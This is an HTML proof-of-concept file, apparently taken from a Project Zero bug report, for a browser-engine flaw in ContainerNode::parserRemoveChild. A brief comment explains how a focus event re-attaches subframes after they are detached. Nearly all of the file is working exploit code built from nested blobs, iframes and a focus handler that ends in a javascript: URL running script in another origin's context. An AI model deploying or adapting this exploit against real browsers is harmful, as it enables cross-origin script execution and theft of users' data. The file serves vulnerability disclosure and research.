1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134 Here's a snippet of ContainerNode::parserRemoveChild. void ContainerNode::parserRemoveChild(Node& oldChild) { disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a) ... document().notifyRemovePendingSheetIfNeeded(); <<---- (b) } subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again. PoC: --> <html> <head> </head> <body> <script> let xml = <code> <body> <div> <b> <p> <script> let p = document.querySelector('p'); let link = p.appendChild(document.createElement('link')); link.rel = 'stylesheet'; link.href = 'data:,aaaaazxczxczzxzcz'; let btn = document.body.appendChild(document.createElement('button')); btn.id = 'btn'; btn.onfocus = () => { btn.onfocus = null; window.d = document.querySelector('div'); window.d.remove(); link.remove(); document.body.appendChild(p); let m = p.appendChild(document.createElement('iframe')); setTimeout(() => { document.documentElement.innerHTML = ''; m.onload = () => { m.onload = null; m.src = 'javascript:alert(location);'; var xml = <svg xmlns="http://www.w3.org/2000/svg"> <script> document.documentElement.appendChild(parent.d); </sc<code> + </code>ript> <element a="1" a="2" /> </svg><code>; var tmp = document.documentElement.appendChild(document.createElement('iframe')); tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'})); }; m.src = 'https://abc.xyz/'; }, 0); }; location.hash = 'btn'; </scrip</code> + <code>t> </b> </p> </div> </body></code>; let tf = document.body.appendChild(document.createElement('iframe')); tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'})); </script> </body> </html> |